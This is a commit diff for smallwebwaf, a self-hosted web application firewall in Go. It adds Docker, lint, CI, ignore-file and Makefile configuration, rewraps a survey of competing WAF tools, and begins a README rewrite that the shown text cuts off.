Install the image's Ubuntu packages from the normal mirrors (closes #190)

The final image stage now apt-gets ca-certificates, nix-bin and runit
from the archive the image's own sources name, with no snapshot and no
hash check of the package lists. The borrowed CA bundle is dropped: the
archive is reached over plain HTTP, so the install needs none. The Ubuntu
base image stays pinned by digest, and every other pin is kept. SPEC.md
and docs/image.md no longer describe a snapshot.

Model: deepseek-v4-pro

.dockerignore

@@ -0,0 +1,75 @@
+# .dockerignore does NOT use .gitignore semantics. Docker matches with
+# moby/patternmatcher: filepath.Match plus `**`, so `*` does not cross
+# `/` and an unprefixed pattern is anchored at the context root. Every
+# depth-independent pattern therefore needs `**/`, or `config/.env` and
+# `certs/server.key` still ship while this file reads as solved. Only
+# genuinely root-anchored entries go unprefixed. Never transplant these
+# into .gitignore, where `**/` is wrong.
+#
+# Matching is case-sensitive, so secrets use character ranges rather
+# than an ALL-CAPS twin, which would still miss `Server.Key`.
+#
+# Extend with this repo's own host-built artifacts, written anchored:
+# `/myapp`, never `**/myapp`, which also matches `cmd/myapp/` and
+# deletes the package directory from the context.
+
+# .git is sent without its config. Without a VERSION build argument the
+# stage that compiles runs `git describe --tags --always` on .git, which
+# does not need .git/config; that file can hold a credential, such as a
+# password in a remote URL or the token the CI checkout step stores there.
+# Each submodule keeps a config with the same exposure in its git directory
+# under .git/modules/, nested again for a submodule's own submodules, or in
+# its own .git directory when it keeps one.
+# KNOWN GAP: a submodule whose name has a `config` segment (`config`,
+# `deploy/config`, `config/lib`) loses its whole git directory, because
+# `**/.git/modules/**/config` also matches that segment's directory
+# under .git/modules/. Go's version stamping then fails the build;
+# nothing leaks. Name such a submodule without that segment:
+# `git submodule add --name`.
+**/.git/config
+**/.git/modules/**/config
+
+# Agent scratch: one full checkout of the repo per in-flight agent.
+# Anchored because it occurs once where agents run at the repo root.
+# KNOWN GAP: a repo running agents in subdirectories still ships
+# `services/api/.claude/` and must add its own anchored entry.
+.claude
+
+# Environment files. `*.env` covers bare `.env` and the `prod.env`
+# convention. Re-include a committed template with a negation if the
+# build needs one: `!docs/example.env`.
+**/*.[eE][nN][vV]
+**/.[eE][nN][vV].*
+**/.[eE][nN][vV][rR][cC]
+
+# Private keys and the bundles carrying them. Public certificates
+# (*.crt, *.cer) are deliberately absent: they are legitimate inputs.
+**/*.[pP][eE][mM]
+**/*.[kK][eE][yY]
+**/*.[pP]12
+**/*.[pP][fF][xX]
+**/[iI][dD]_[rR][sS][aA]
+**/[iI][dD]_[dD][sS][aA]
+**/[iI][dD]_[eE][cC][dD][sS][aA]
+**/[iI][dD]_[eE][cC][dD][sS][aA]_[sS][kK]
+**/[iI][dD]_[eE][dD]25519
+**/[iI][dD]_[eE][dD]25519_[sS][kK]
+
+# Dependencies: restored inside the image, never copied in.
+**/node_modules
+
+# OS metadata.
+**/.DS_Store
+**/Thumbs.db
+
+# Editor state: never a build input, and it churns COPY.
+**/*.swp
+**/*.swo
+**/*~
+**/*.bak
+**/.idea
+**/.vscode
+**/*.sublime-*
+
+# The binary `make build` writes on the host; the image builds its own.
+/bin

.editorconfig

@@ -0,0 +1,15 @@
+root = true
+
+[*]
+indent_style = space
+indent_size = 4
+end_of_line = lf
+charset = utf-8
+trim_trailing_whitespace = true
+insert_final_newline = true
+
+[Makefile]
+indent_style = tab
+
+[*.go]
+indent_style = tab

.gitea/workflows/check.yml

@@ -0,0 +1,9 @@
+name: check
+on: [push]
+jobs:
+    check:
+        runs-on: ubuntu-latest
+        steps:
+            # actions/checkout v4.2.2, 2026-02-22
+            - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
+            - run: script/cibuild

.gitignore

@@ -0,0 +1,53 @@
+# OS
+.DS_Store
+Thumbs.db
+
+# Editors
+*.swp
+*.swo
+*~
+*.bak
+.idea/
+.vscode/
+*.sublime-*
+
+# Agent scratch (worktrees of this repo, created and destroyed by
+# in-flight tooling). Unanchored: .gitignore patterns already match at
+# every depth, so no prefix is wanted here. This is not a .dockerignore
+# entry and must not be given a `**/` prefix on the way into one.
+.claude/
+
+# Node
+node_modules/
+
+# Secrets. Unanchored like every entry above, so each matches at every
+# depth. Matching is case-sensitive on Linux, so names use character
+# ranges rather than a lowercase form that misses `Server.Key`.
+
+# Environment files. `*.env` covers bare `.env` and the `prod.env`
+# convention. Only the templates `example.env` and `sample.env` are
+# re-included below. A repository that commits any other template adds
+# its own negation after these lines, for example `!.env.example`.
+*.[eE][nN][vV]
+.[eE][nN][vV].*
+.[eE][nN][vV][rR][cC]
+!example.env
+!sample.env
+
+# Private keys and the bundles carrying them.
+*.[pP][eE][mM]
+*.[kK][eE][yY]
+*.[pP]12
+*.[pP][fF][xX]
+[iI][dD]_[rR][sS][aA]
+[iI][dD]_[dD][sS][aA]
+[iI][dD]_[eE][cC][dD][sS][aA]
+[iI][dD]_[eE][cC][dD][sS][aA]_[sS][kK]
+[iI][dD]_[eE][dD]25519
+[iI][dD]_[eE][dD]25519_[sS][kK]
+
+# Go: the binary `make build` writes, test binaries, profiles and logs
+/bin/
+*.test
+*.out
+*.log

.golangci.yml

@@ -0,0 +1,103 @@
+version: "2"
+
+# Config schema uses the golangci-lint v2 layout (settings live under
+# linters.settings, not top-level linters-settings) so that the
+# thresholds below are actually applied by golangci-lint >= v2.
+
+run:
+  timeout: 5m
+  modules-download-mode: readonly
+
+linters:
+  default: all
+  enable:
+    # Successor to the deprecated gomodguard. Named explicitly, rather than
+    # left to `default: all`, because it carries the module policy below.
+    - gomodguard_v2
+  disable:
+    # Genuinely incompatible with project patterns
+    - exhaustruct      # Requires all struct fields
+    - exhaustruct_v5   # Requires all struct fields (successor to exhaustruct)
+    - godot            # Requires comments to end with periods
+    - wrapcheck        # Too verbose for internal packages
+    - varnamelen       # Short names like db, id are idiomatic Go
+    # Deprecated: the warning is attached to the old name, so it is
+    # silenced by disabling that name, not by enabling the successor.
+    - wsl              # Deprecated, replaced by wsl_v5
+    - gomodguard       # Deprecated, replaced by gomodguard_v2
+  settings:
+    lll:
+      line-length: 88
+    funlen:
+      lines: 80
+      statements: 50
+    cyclop:
+      max-complexity: 15
+    dupl:
+      threshold: 100
+    depguard:
+      # Test-support code must not be compiled into the shipped binary. A
+      # test-support package exists to hand a test privileges the program
+      # itself must never have, so a file that is not a test must not import
+      # one. Test files, and the files inside a package whose directory name
+      # ends in `test`, are where that code belongs, and are exempt.
+      #
+      # The deny list below is the one part of this file a repository is
+      # expected to extend, and the only part it may. depguard matches an
+      # import path against a list of prefixes, so it cannot be told "any path
+      # whose last segment ends in test"; a repository's own test-support
+      # packages have to be named here one at a time, by full import path,
+      # under a module path that differs from repository to repository. Add
+      # them; change nothing else.
+      rules:
+        test-support:
+          list-mode: lax
+          files:
+            - "$all"
+            - "!$test"
+            - "!**/*test/**"
+          deny:
+            - pkg: net/http/httptest
+              desc: >-
+                Test-support code belongs in test files and in packages whose
+                directory name ends in test, not in the shipped binary.
+            - pkg: sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest
+              desc: >-
+                Test-support code belongs in test files and in packages whose
+                directory name ends in test, not in the shipped binary.
+    # Only decisions already recorded in the Go package defaults are
+    # listed here. Every entry matches the module path exactly.
+    gomodguard_v2:
+      blocked:
+        - module: github.com/rs/zerolog
+          recommendations:
+            - log/slog
+          reason: "Structured logging is stdlib log/slog."
+        # One entry per pre-fork module path, because the later releases
+        # are separate paths. A prefix match would be shorter but would
+        # also reach github.com/go-redis/redismock, the test double for
+        # the successor these entries recommend.
+        - module: github.com/go-redis/redis
+          recommendations:
+            - github.com/redis/go-redis/v9
+          reason: "Pre-fork module; use the maintained go-redis v9."
+        - module: github.com/go-redis/redis/v7
+          recommendations:
+            - github.com/redis/go-redis/v9
+          reason: "Pre-fork module; use the maintained go-redis v9."
+        - module: github.com/go-redis/redis/v8
+          recommendations:
+            - github.com/redis/go-redis/v9
+          reason: "Pre-fork module; use the maintained go-redis v9."
+        - module: github.com/sergi/go-diff
+          recommendations:
+            - github.com/aymanbagabas/go-udiff
+          reason: "No unified diff output; use go-udiff."
+        - module: github.com/hexops/gotextdiff
+          recommendations:
+            - github.com/aymanbagabas/go-udiff
+          reason: "Unmaintained fork; use go-udiff."
+
+issues:
+  max-issues-per-linter: 0
+  max-same-issues: 0

.prettierignore

@@ -0,0 +1,2 @@
+node_modules/
+yarn.lock

.prettierrc

@@ -0,0 +1,4 @@
+{
+    "tabWidth": 4,
+    "proseWrap": "always"
+}

Dockerfile

@@ -0,0 +1,199 @@
+# Lint phase. The linter is invoked directly rather than through `make
+# lint` or `script/lint`, which are themselves a docker build and would
+# recurse into a daemon that does not exist in a build step.
+#
+# golangci/golangci-lint v2.14.0 (built with go1.27.0), 2026-09-24
+FROM golangci/golangci-lint@sha256:ad862ba6b3798cbe0fd9fd7408d498fd74fbd2623a92406b2fd3898faf0bf98f AS lint
+
+WORKDIR /src
+
+COPY go.mod go.sum ./
+RUN go mod download
+
+COPY . .
+
+RUN golangci-lint run --config .golangci.yml ./...
+
+# Test phase, same shape and for the same reason. The go directive in
+# go.mod is a minimum, so this Go may be newer than the linter's. The
+# Debian image rather than the Alpine one, because the race detector
+# needs the C compiler it carries.
+#
+# golang 1.27.1-trixie, 2026-09-19
+FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test
+
+WORKDIR /src
+
+COPY go.mod go.sum ./
+RUN go mod download
+
+COPY . .
+
+# go.mod and go.sum must be as `go mod tidy` writes them, which is what
+# `make tidy` does. Checked before the tests, which a missing go.sum line
+# fails with a message that does not name `make tidy`.
+RUN go mod tidy -diff || \
+    { echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
+
+# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
+# after this step, and writing it into the image takes seconds. The tests
+# are built with the no_fs_access tag, as the binary is in the build stage.
+RUN --mount=type=tmpfs,target=/root/.cache/go-build \
+    go test -tags no_fs_access -timeout 90s -race -cover ./... || \
+    { echo "--- Rerunning with -v for details ---"; \
+      go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
+
+# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
+# writes pass the test phase's check. Nothing else depends on it, so only
+# script/tidy, which names the stage after it, builds it.
+#
+# golang 1.27.1-trixie, 2026-09-19
+FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS tidy
+
+WORKDIR /src
+
+COPY . .
+
+RUN go mod tidy
+
+# go.mod and go.sum alone, which script/tidy writes into the working tree.
+FROM scratch AS tidy-files
+
+COPY --from=tidy /src/go.mod /src/go.sum /
+
+# Build stage. Nothing is wanted from the lint and test phases; the copies
+# are what make BuildKit build them first, so the image, which needs this
+# stage, cannot be produced unless lint and test passed.
+#
+# golang 1.27.1-trixie, 2026-09-19
+FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS builder
+
+COPY --from=lint /src/go.sum /dev/null
+COPY --from=test /src/go.sum /dev/null
+
+# This image has git. A tar-stream context keeps the sender's file
+# owners, which git refuses.
+RUN git config --system --add safe.directory /src
+
+WORKDIR /src
+
+COPY go.mod go.sum ./
+RUN go mod download
+
+COPY . .
+
+# The VERSION build arg when one is given, otherwise
+# `git describe --tags --always` on the .git in the build context. With
+# .git present, a version that is still empty, dev or unknown fails the
+# build: git is missing or could not read the checkout. The no_fs_access
+# tag keeps Coraza from writing the files of a multipart body to the
+# system's temporary directory, since smallwebwaf writes only to its state
+# directory.
+ARG VERSION
+RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
+    if [ -e .git ]; then \
+        case "$VERSION" in ""|dev|unknown) \
+            echo "version is '$VERSION' although .git is present" >&2; \
+            exit 1 ;; \
+        esac; \
+    fi; \
+    CGO_ENABLED=0 go build -tags no_fs_access -trimpath \
+        -ldflags="-s -w -X main.Version=${VERSION}" \
+        -o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf
+
+# runsvinit, the image's entrypoint, built at the last commit of its
+# archived repository. It has no go.mod, and `go build` of its directory
+# needs one; it uses only the standard library, so the one written here
+# names nothing else.
+#
+# golang 1.27.1-trixie, 2026-09-19
+FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS runsvinit
+
+RUN git clone --quiet https://github.com/peterbourgon/runsvinit /src
+WORKDIR /src
+# runsvinit v2.0.0-8-gb4b2c78, 2015-10-07
+RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \
+    && go mod init github.com/peterbourgon/runsvinit \
+    && CGO_ENABLED=0 go build -trimpath -ldflags="-s -w" \
+        -o /usr/local/bin/runsvinit .
+
+# The image, described under "Deployment" in SPEC.md. It runs rproxy unless
+# SMALLWEBWAF_COMMAND says servewaf, and an app's Dockerfile can build FROM it.
+# It is the last stage, so a plain `docker build .` builds it.
+#
+# ubuntu 26.04, 2026-09-27
+FROM ubuntu@sha256:f144425ff09be612d6d9ad965196e9cdc23dae1f42110a8a11a3e9a8198759f7
+
+# runit's install creates its _runit-log user with minsysusers, which
+# reads this file in place of runit's /usr/lib/sysusers.d/runit.conf.
+# runit's line leaves out the shell, and minsysusers prints a Perl
+# warning for that; this copy of it names /sbin/nologin, the shell
+# minsysusers gives when none is named.
+RUN mkdir /etc/sysusers.d \
+    && echo 'u  _runit-log  -  "runit svlogd user"  /nonexistent  /sbin/nologin' \
+        > /etc/sysusers.d/runit.conf
+
+# ca-certificates, nix-bin and runit, from Ubuntu's normal mirrors: the
+# live archive the image's own sources name, over plain HTTP, so no CA
+# certificate is needed and none is borrowed from the Go image.
+RUN apt-get update \
+    && DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \
+        ca-certificates nix-bin runit \
+    && rm -rf /var/lib/apt/lists/*
+
+# Nix run by root expects a group of build users, which nix-bin does not
+# create; with the setting empty, root's builds run without them.
+RUN mkdir /etc/nix && echo 'build-users-group =' > /etc/nix/nix.conf
+
+# nixpkgs, from its release file, checked by SHA-256, and set up for root
+# as `nixpkgs`, so that an app's Dockerfile installs a package with
+# `nix-env -iA nixpkgs.<name>`. curl and xz come with nix-bin.
+#
+# nixpkgs nixos-26.05.11045.774debe7a0d1, 2026-10-02
+RUN curl -fsSL -o /tmp/nixexprs.tar.xz \
+        https://releases.nixos.org/nixos/26.05/nixos-26.05.11045.774debe7a0d1/nixexprs.tar.xz \
+    && echo 'b2994104605601690023a5a6a3bb5a07b2bd1716b4e3b208cba1056dacd2ab08  /tmp/nixexprs.tar.xz' \
+        | sha256sum --check --strict \
+    && mkdir -p /root/.nix-defexpr/nixpkgs \
+    && tar -xJf /tmp/nixexprs.tar.xz -C /root/.nix-defexpr/nixpkgs --strip-components=1 \
+    && rm /tmp/nixexprs.tar.xz
+
+# What root installs with nix-env lands in root's profile. This path to
+# it works for every user, unlike /root/.nix-profile: only root can
+# enter /root. It comes last, so that no package shadows the image's
+# own tools: busybox, for one, brings an sv that looks for services
+# elsewhere.
+ENV PATH=${PATH}:/nix/var/nix/profiles/default/bin
+
+COPY --from=runsvinit /usr/local/bin/runsvinit /usr/local/bin/runsvinit
+COPY --from=builder /usr/local/bin/smallwebwaf /usr/local/bin/smallwebwaf
+
+# 65532 is above the uids Ubuntu keeps for system users, which end at
+# 999; useradd warns about it unless --key raises that end for this call.
+RUN groupadd --system --gid 65532 smallwebwaf \
+    && useradd --system --key SYS_UID_MAX=65532 --uid 65532 \
+        --gid smallwebwaf --no-create-home --shell /usr/sbin/nologin \
+        smallwebwaf
+
+# The state files' directory, SWWAF_STATE_DIR by default, where a volume
+# is mounted to keep them across deploys. The run script gives it to the
+# smallwebwaf user at each start of servewaf.
+RUN mkdir /var/lib/smallwebwaf
+
+# The default rule file, in SWWAF_RULES_DIR by default, where a Dockerfile
+# built FROM this image can copy rule files of its own beside it.
+COPY share/rules.d/00-default.rules /etc/smallwebwaf/rules.d/00-default.rules
+
+# runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv
+# looks too.
+COPY --chmod=755 share/smallwebwaf.run /etc/service/smallwebwaf/run
+
+EXPOSE 8080
+
+# traefik sends a container no requests until it is healthy, so the
+# check runs every second from the start until it first passes, for up
+# to a minute, and every 30 seconds after that.
+HEALTHCHECK --start-period=1m --start-interval=1s \
+    CMD ["/usr/local/bin/smallwebwaf", "healthcheck"]
+
+ENTRYPOINT ["/usr/local/bin/runsvinit"]

EVALUATION.md

@@ -17,8 +17,8 @@ configured only by environment variables, that provides:
 - R5: temporary blocks for abusers, permanent bans for repeat offenders
 - R6: one or more RBLs or IP reputation APIs
 - R7: AS number lookup
-- R8: thresholds biased by AS number or country (for example, listed AS
-  numbers get 50 percent of the normal limit)
+- R8: thresholds biased by AS number or country (for example, listed AS numbers
+  get 50 percent of the normal limit)
 - R9: WAF-style attack detection and prevention
 - R10: runs as a plain env-var-configured sidecar between traefik and one app
 
@@ -37,19 +37,19 @@ Closest existing options, and why each still falls short:
 
 - BunkerWeb is the closest single product.
     - Meets: R1 (rates in requests per second, minute, hour or day), R2
-      (`LIMIT_IGNORE_IP`, also by AS number and reverse DNS), R3 partly (webhook,
-      Slack, Discord, Matrix plugins, fired only on denied requests; ntfy only
-      through the generic webhook, payload format unverified), R5 partly
-      (`BAD_BEHAVIOR_BAN_TIME`, `0` means permanent; no escalation for repeat
-      offenders, the ban length is one fixed value), R6 (DNSBL plugin, external
-      blacklist URLs, optional CrowdSec), R7 partly (AS number used for
+      (`LIMIT_IGNORE_IP`, also by AS number and reverse DNS), R3 partly
+      (webhook, Slack, Discord, Matrix plugins, fired only on denied requests;
+      ntfy only through the generic webhook, payload format unverified), R5
+      partly (`BAD_BEHAVIOR_BAN_TIME`, `0` means permanent; no escalation for
+      repeat offenders, the ban length is one fixed value), R6 (DNSBL plugin,
+      external blacklist URLs, optional CrowdSec), R7 partly (AS number used for
       blacklist and whitelist decisions), R9 (ModSecurity with the Core Rule
       Set, or Coraza plugin), env-var settings.
     - Fails: R8 (AS number and country can only allow or deny, never scale a
       limit), R4 (no volume or byte threshold alerts in the free edition;
-      reporting is a paid feature), R5 escalation, and R10 in spirit: since
-      1.6 it needs a `bunkerweb` container plus a `bw-scheduler` container and
-      a database, or the all-in-one image that bundles nginx, scheduler, UI and
+      reporting is a paid feature), R5 escalation, and R10 in spirit: since 1.6
+      it needs a `bunkerweb` container plus a `bw-scheduler` container and a
+      database, or the all-in-one image that bundles nginx, scheduler, UI and
       Redis in one container. It is designed to be the front door for many
       sites, not a per-app sidecar. AGPL-3.0.
     - Unverified: whether several rates (minute, hour, day) can be stacked on
@@ -61,15 +61,14 @@ Closest existing options, and why each still falls short:
       (community blocklist, further blocklists, reputation API), R7 (alerts are
       enriched with AS number and country), R9 (AppSec component with virtual
       patching and ModSecurity-syntax rules), R2 (allowlists).
-    - Partly: R1 and R8. Detection is by leaky-bucket scenarios over logs, and
-      a scenario can filter on AS number or country, so a stricter bucket for
+    - Partly: R1 and R8. Detection is by leaky-bucket scenarios over logs, and a
+      scenario can filter on AS number or country, so a stricter bucket for
       listed AS numbers is possible, but each is a hand-written YAML scenario,
       it reacts after the fact by banning, and it is not an inline limiter that
       answers 429.
-    - Fails: R10 (needs the security engine container with persistent state,
-      log acquisition from traefik, a bouncer such as the traefik plugin, and
-      YAML for acquisition, profiles, scenarios and notifications), bytes half
-      of R4.
+    - Fails: R10 (needs the security engine container with persistent state, log
+      acquisition from traefik, a bouncer such as the traefik plugin, and YAML
+      for acquisition, profiles, scenarios and notifications), bytes half of R4.
 - CrowdSec plus traefik's own `rateLimit` middleware is the best combination
   with no new code. It gives inline limiting (one window per middleware, keyed
   by IP, with `sourceCriterion` exclusions), bans with escalation, alerts and
@@ -89,19 +88,19 @@ Closest existing options, and why each still falls short:
       central API, or AppSec only. Supports captcha remediation.
     - Covers: R5, R6, R9, R3 and R7 through the engine (see Verdict).
     - Misses: the plugin itself does no rate limiting; R8; R4 bytes.
-    - Configuration: traefik static config to load the plugin, dynamic config
-      or labels for the middleware, CrowdSec YAML for everything else.
+    - Configuration: traefik static config to load the plugin, dynamic config or
+      labels for the middleware, CrowdSec YAML for everything else.
     - Sidecar fit: no. It lives inside traefik, plus a separate engine
       container.
     - Maturity: widely used (about 900 stars, listed in the traefik plugin
       catalog, documented by CrowdSec itself), actively maintained. Traefik
-      plugins run in an interpreter inside traefik, which costs some
-      per-request time.
+      plugins run in an interpreter inside traefik, which costs some per-request
+      time.
 - CrowdSec generic bouncers (nginx, Caddy, firewall)
     - Same engine, different enforcement point. The firewall bouncer blocks at
-      nftables level on the host, which is cheap and covers every service on
-      the host at once; worth considering fleet-wide regardless of this
-      project. Not a sidecar, same misses as above.
+      nftables level on the host, which is cheap and covers every service on the
+      host at once; worth considering fleet-wide regardless of this project. Not
+      a sidecar, same misses as above.
 - BunkerWeb 1.6.14 (`bunkerity/bunkerweb`)
     - What it is: nginx with Lua plugins, ModSecurity and the Core Rule Set,
       configured by settings that are passed as env vars to its scheduler
@@ -123,23 +122,22 @@ Closest existing options, and why each still falls short:
       edition is capped at 10 applications.
     - Configuration: web UI backed by PostgreSQL. No env-var configuration.
     - Sidecar fit: no. Seven containers (postgres, management, detector,
-      tengine, and three helpers); the proxy container uses host networking.
-      The detection engine is closed source.
+      tengine, and three helpers); the proxy container uses host networking. The
+      detection engine is closed source.
     - Maturity: very active, vendor-driven.
 - Coraza (`corazawaf/coraza`) and Coraza-based proxies
-    - What it is: a Go library that implements the ModSecurity rule language
-      and runs the OWASP Core Rule Set. OWASP project, actively maintained, the
+    - What it is: a Go library that implements the ModSecurity rule language and
+      runs the OWASP Core Rule Set. OWASP project, actively maintained, the
       successor path now that ModSecurity is in maintenance only.
     - Packagings: `coraza-caddy` (Caddy module), `coraza-spoa` (HAProxy),
       `coraza-proxy-wasm` (Envoy), a traefik WASM plugin, and
-      `coreruleset/coraza-crs-docker` (Caddy plus Coraza plus the Core Rule
-      Set, with env vars for backend address, engine mode and rule-set
-      tuning).
+      `coreruleset/coraza-crs-docker` (Caddy plus Coraza plus the Core Rule Set,
+      with env vars for backend address, engine mode and rule-set tuning).
     - Covers: R9 only. `coraza-crs-docker` fits R10 well: one container, env
       vars, backend address.
-    - Misses: R1 to R8. ModSecurity-language rules can count requests per IP
-      in a persistent collection, but Coraza's support for persistent
-      collections is limited and this is not a practical rate limiter.
+    - Misses: R1 to R8. ModSecurity-language rules can count requests per IP in
+      a persistent collection, but Coraza's support for persistent collections
+      is limited and this is not a practical rate limiter.
     - Value here: the right library to embed for R9 in a purpose-built sidecar.
 - ModSecurity Core Rule Set containers (`owasp/modsecurity-crs`)
     - What it is: official images of Apache or nginx with ModSecurity and the
@@ -149,21 +147,21 @@ Closest existing options, and why each still falls short:
     - Covers: R9, and R10 (single container, env vars, one backend).
     - Misses: R1 to R8.
     - Maturity: rule set is very actively maintained; the ModSecurity engine
-      itself is in maintenance under OWASP after Trustwave ended support in
-      2024.
+      itself is in maintenance under OWASP after Trustwave ended support
+      in 2024.
 - Anubis (`TecharoHQ/anubis`), 1.27 current
     - What it is: a single-binary reverse proxy that makes browsers solve a
       proof-of-work challenge before passing them to `TARGET`. Aimed at
       scrapers, which is likely a large share of unwanted traffic on a public
       gitea.
     - Covers: R10 well (one container, env vars for listener, target,
-      difficulty, cookies). Policy rules can match on path, user agent,
-      headers, IP ranges, and with the vendor's hosted data service also AS
-      number and country, and can weigh a request toward a harder challenge.
+      difficulty, cookies). Policy rules can match on path, user agent, headers,
+      IP ranges, and with the vendor's hosted data service also AS number and
+      country, and can weigh a request toward a harder challenge.
     - Misses: R1, R3, R4, R5, R6, R9. Bot policy needs a YAML file, not env
       vars. AS number and country matching depend on the vendor's hosted
-      service. Breaks non-browser clients unless paths are exempted; for
-      gitea, git-over-HTTP and API paths must be allowed through by rule.
+      service. Breaks non-browser clients unless paths are exempted; for gitea,
+      git-over-HTTP and API paths must be allowed through by rule.
     - Maturity: very active, widely deployed on code forges since 2025.
     - Value here: complementary. It can be chained (traefik, then the sidecar,
       then Anubis, then the app) if challenge pages are wanted.
@@ -187,29 +185,28 @@ Closest existing options, and why each still falls short:
     - Sidecar fit: no; they live inside traefik.
 - Traefik built-in middlewares
     - `rateLimit` (one average-and-burst window per middleware, optional Redis
-      in traefik 3.x), `inFlightReq`, `ipAllowList`. No bans, alerts,
-      reputation or AS number awareness.
+      in traefik 3.x), `inFlightReq`, `ipAllowList`. No bans, alerts, reputation
+      or AS number awareness.
 - caddy-waf (`fabriziosalmi/caddy-waf`), 0.4.x
     - What it is: a Caddy module with regex rules and anomaly scoring, per-IP
       and per-path rate limiting with one configurable window, IP and DNS
-      blacklists, Tor exit list fetch, country and AS number allow or deny
-      from MaxMind databases.
+      blacklists, Tor exit list fetch, country and AS number allow or deny from
+      MaxMind databases.
     - Misses: R8 (allow or deny only), R3, R4, R5 (no documented ban state or
       alerting), R1's three windows. Caddyfile configuration. One maintainer,
       pre-1.0, AGPL-3.0.
 - open-appsec (Check Point)
-    - Machine-learning WAF agent attached to nginx, Kong, Envoy or similar,
-      with a declarative policy file or the vendor's cloud console. Covers R9
-      only; rate limiting and richer features are in paid tiers. Not a sidecar
-      in the required sense.
+    - Machine-learning WAF agent attached to nginx, Kong, Envoy or similar, with
+      a declarative policy file or the vendor's cloud console. Covers R9 only;
+      rate limiting and richer features are in paid tiers. Not a sidecar in the
+      required sense.
 - iocaine
-    - Serves generated garbage pages to clients the fronting proxy classifies
-      as scrapers. Not a limiter, WAF or ban tool; out of scope except as a
+    - Serves generated garbage pages to clients the fronting proxy classifies as
+      scrapers. Not a limiter, WAF or ban tool; out of scope except as a
       curiosity for scraper traffic.
 - Pangolin
-    - A tunnelled access platform that bundles traefik and optionally
-      CrowdSec. Replaces the ingress rather than adding a sidecar; out of
-      scope.
+    - A tunnelled access platform that bundles traefik and optionally CrowdSec.
+      Replaces the ingress rather than adding a sidecar; out of scope.
 
 ## Requirement by requirement, across the field
 

LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 sneak
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

Makefile

@@ -0,0 +1,51 @@
+.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker hooks build \
+	run example-app gitea-requests
+
+# Makefile targets are thin shims; the implementations live in script/
+# per the scripts-to-rule-them-all pattern (see the Entrypoints section
+# of README.md). tidy writes go.mod and go.sum as `go mod tidy` does,
+# which test checks. build and run are for working on the code by hand;
+# example-app checks the image with an app built on it; gitea-requests
+# reports the gitea requests the Core Rule Set refuses at the defaults.
+
+bootstrap:
+	@script/bootstrap
+
+setup:
+	@script/setup
+
+test:
+	@script/test
+
+lint:
+	@script/lint
+
+fmt:
+	@script/fmt
+
+fmt-check:
+	@script/fmt-check
+
+tidy:
+	@script/tidy
+
+check:
+	@script/check
+
+docker:
+	@script/docker
+
+hooks:
+	@script/install-precommit
+
+build:
+	@script/build
+
+run:
+	@script/run
+
+example-app:
+	@script/example-app
+
+gitea-requests:
+	@script/gitea-requests

README.md

@@ -1,162 +1,165 @@
 # smallwebwaf
 
-`smallwebwaf` is a simple, fast, logging web application firewall for people who
-host their own services. It runs inside the container of the one application it
-protects, between your reverse proxy (traefik) and the app: the app's Dockerfile
-builds `FROM` the `smallwebwaf` image, traefik sends the app's requests to
-`smallwebwaf` on port 8080, and `smallwebwaf` passes them on to the app on
-`127.0.0.1:8081`. It needs no setting, and protects the app from the first
-request with defaults chosen for a service on the open internet. It keeps its
-state in memory and in JSON files you can read and edit, and writes a detailed
-JSON log line for every request.
+`smallwebwaf` is an MIT-licensed web application firewall, written in Go by
+[@sneak](https://sneak.berlin), for self-hosted web apps. It refuses the
+requests of scrapers, scanners and other abusers before they reach an app.
 
-Status: design stage. This repository currently holds the documents only; no
-code has been written. The design is in [`SPEC.md`](SPEC.md), and the survey of
-existing tools that led to it is in [`EVALUATION.md`](EVALUATION.md).
+A web application firewall reads each request on its way to a web app and
+refuses the ones that look like abuse. `smallwebwaf` is one binary with two
+commands that do this together:
 
-## Why
+- `smallwebwaf rproxy` is a small reverse proxy in front of one app. It accepts
+  requests on the app's behalf and asks `servewaf` about each one. It passes the
+  allowed ones to the app, and the app's answers back. It keeps nothing, and
+  never touches disk.
+- `smallwebwaf servewaf` decides. It runs the checks, and keeps the bans,
+  counters and history. One `servewaf` serves many sites.
 
-Small self-hosted sites now receive a great deal of traffic nobody asked for:
-scrapers that ignore `robots.txt` and crawl every commit of every repository on
-a public git server, vulnerability scanners walking through lists of WordPress
-and `.env` paths, and credential-guessing bots. Most of it comes from a small
-number of hosting networks and countries. A single-person operation has no abuse
-desk and no CDN contract; it needs something small that can be put in front of
-one service and left alone.
+The site keeps answering while `servewaf` is down, slow or restarting. `rproxy`
